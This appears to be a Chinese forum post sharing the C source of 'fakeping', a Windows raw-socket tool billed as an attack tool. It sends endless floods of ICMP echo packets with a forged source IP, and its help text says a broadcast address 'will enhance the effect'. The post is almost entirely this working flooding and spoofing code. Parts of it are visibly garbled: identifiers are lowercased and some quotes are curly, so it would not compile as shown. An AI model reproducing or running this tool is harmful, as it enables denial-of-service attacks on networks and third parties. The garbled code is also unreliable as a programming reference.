返回列表 回复 发帖

秀攻击工具fakeping4W2k源代码

信息来源:南京补天
文章作者:shotgun
  1. #include <winsock2.h>
  2. #include <ws2tcpip.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #define seq 0x28376839
  6. #define status_failed 0xffff //错误返回值
  7. typedef struct _iphdr  //定义ip首部
  8. {
  9. unsigned char h_verlen;  //4位首部长度,4位ip版本号
  10. unsigned char tos;  //8位服务类型tos
  11. unsigned short total_len; //16位总长度(字节)
  12. unsigned short ident;  //16位标识
  13. unsigned short frag_and_flags; //3位标志位
  14. unsigned char ttl;  //8位生存时间 ttl
  15. unsigned char proto;  //8位协议 (tcp, udp 或其他)
  16. unsigned short checksum; //16位ip首部校验和
  17. unsigned int sourceip;  //32位源ip地址
  18. unsigned int destip;  //32位目的ip地址
  19. }ip_header;
  20. //
  21. // 定义icmp首部
  22. typedef struct _ihdr
  23. {
  24. byte i_type;    //8位类型
  25. byte i_code;   //8位代码
  26. ushort i_cksum;   //16位校验和
  27. ushort i_id;   //识别号(一般用进程号作为识别号)
  28. ushort i_seq;   //报文序列号
  29. ulong timestamp;  //时间戳
  30. }icmp_header;

  31. //checksum:计算校验和的子函数
  32. ushort checksum(ushort *buffer, int size)
  33. {
  34.  unsigned long cksum=0;
  35.  while(size >1) {
  36. cksum+=*buffer++;
  37. size -=sizeof(ushort);
  38.  }
  39.  if(size ) {
  40. cksum += *(uchar*)buffer;
  41.  }
  42.  cksum = (cksum >> 16) + (cksum & 0xffff);
  43.  cksum += (cksum >>16);
  44.  return (ushort)(~cksum);
  45. }
  46. //fakeping主函数
  47. int main(int argc, char **argv)
  48. {
  49. int datasize,errorcode,counter,flag;
  50. int timeout=2000, sendseq=0, packetsize=32;
  51. char sendbuf[65535]={0};
  52. wsadata wsadata;
  53. socket sockraw=(socket)null;
  54. struct sockaddr_in destaddr;
  55. ip_header ip_header;
  56. icmp_header icmp_header;
  57. char fakesourceip[20],destip[20];
  58. //接受命令行参数
  59. if (argc<3)
  60. {
  61.  printf("fakeping by shotgun\n");
  62.  printf("\tthis program can do ping-flooding from a fakeip\n");
  63.  printf("\tusing a broadcast ip as the fakeip will enhance the effect\n");
  64.  printf("email:\n");
  65.  printf("\[email]tshotgun@xici.net[/email]\n");
  66.  printf("homepage:\n");
  67.  printf("\thttp://it.xici.net\n");
  68.  printf("\thttp://www.patching.net\n");
  69.  printf("usage:\n\tfakeping.exe fakesourceip destinationip [packetsize]\n");
  70.  printf("example:\n");
  71.  printf("\tfakeping.exe 192.168.15.23 192.168.15.255\n");
  72.  printf("\tfakeping.exe 192.168.15.23 192.168.15.200 6400\n");
  73.  exit(0);
  74. }
  75. strcpy(fakesourceip,argv[1]);
  76. strcpy(destip,argv[2]);
  77. if (argc>3) packetsize=atoi(argv[3]);
  78. if (packetsize>60000)
  79. {
  80.  printf("error! packet size too big, must <60k\n");
  81.  exit(0);
  82. }
  83. printf("now fake %s ping %s using packet size=%d bytes\n",
  84.   fakesourceip, destip, packetsize);
  85. printf("\tctrl+c to quit\n");
  86. //初始化sock_raw
  87. if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0)
  88. {
  89.  fprintf(stderr,"wsastartup failed: %d\n",errorcode);
  90.  exitprocess(status_failed);
  91. }
  92. if((sockraw=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped))==invalid_socket)
  93. {
  94.  fprintf(stderr,"wsasocket() failed: %d\n",wsagetlasterror());
  95.  exitprocess(status_failed);
  96. }
  97. flag=true;
  98. //设置ip_hdrincl以自己填充ip首部
  99. errorcode=setsockopt(sockraw,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));
  100. if(errorcode==socket_error)
  101.  printf("set ip_hdrincl error!\n");
  102. __try{
  103.  //设置发送超时
  104.  errorcode=setsockopt(sockraw,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
  105.  if (errorcode==socket_error)
  106.  {
  107.    fprintf(stderr,"failed to set send timeout: %d\n",wsagetlasterror());
  108.   __leave;
  109.  }
  110.  memset(&destaddr,0,sizeof(destaddr));
  111.  destaddr.sin_family=af_inet;
  112.  destaddr.sin_addr.s_addr=inet_addr(destip);
  113.  //填充ip首部
  114.  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位ip版本号,低四位首部长度
  115.  ip_header.total_len=htons(sizeof(ip_header)+sizeof(icmp_header)); //16位总长度(字节)
  116.  ip_header.ident=1;       //16位标识
  117.  ip_header.frag_and_flags=0;      //3位标志位
  118.  ip_header.ttl=128;       //8位生存时间 ttl
  119.  ip_header.proto=ipproto_icmp;      //8位协议 (tcp, udp 或其他)
  120.  ip_header.checksum=0;       //16位ip首部校验和
  121.  ip_header.sourceip=inet_addr(fakesourceip);    //32位源ip地址
  122.  ip_header.destip=inet_addr(destip);     //32位目的ip地址
  123.  //填充icmp首部
  124.  icmp_header.i_type = 8;
  125.  icmp_header.i_code = 0;
  126.  icmp_header.i_cksum = 0;
  127.  icmp_header.i_id = 2;
  128.  icmp_header.timestamp = 999;
  129.  icmp_header.i_seq=999;
  130.  memcpy(sendbuf, &icmp_header, sizeof(icmp_header));
  131.  memset(sendbuf+sizeof(icmp_header), ‘e‘, packetsize);
  132.  icmp_header.i_cksum = checksum((ushort *)sendbuf, sizeof(icmp_header)+packetsize);
  133.  memcpy(sendbuf,&ip_header,sizeof(ip_header));
  134.  memcpy(sendbuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
  135.  memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header), ‘e‘, packetsize);
  136.  memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header)+packetsize, 0, 1);
  137.  //计算发送缓冲区的大小
  138.  datasize=sizeof(ip_header)+sizeof(icmp_header)+packetsize;
  139.  ip_header.checksum=checksum((ushort *)sendbuf,datasize);
  140.  //填充发送缓冲区
  141.  memcpy(sendbuf,&ip_header, sizeof(ip_header));
  142.  while(1)
  143.  {
  144.   sleep(100);
  145.   printf(".");
  146.   for(counter=0;counter<1024;counter++)
  147.   {
  148.   //发送icmp报文
  149.   errorcode=sendto(sockraw,sendbuf,datasize,0,(struct sockaddr*)&destaddr,sizeof(destaddr));
  150.   if (errorcode==socket_error) printf("\nsend error:%d\n",getlasterror());
  151.   }
  152.  }
  153. }//end of try
  154.  __finally {
  155. if (sockraw != invalid_socket) closesocket(sockraw);
  156. wsacleanup();
  157.  }
  158.  return 0;
  159. }
复制代码
返回列表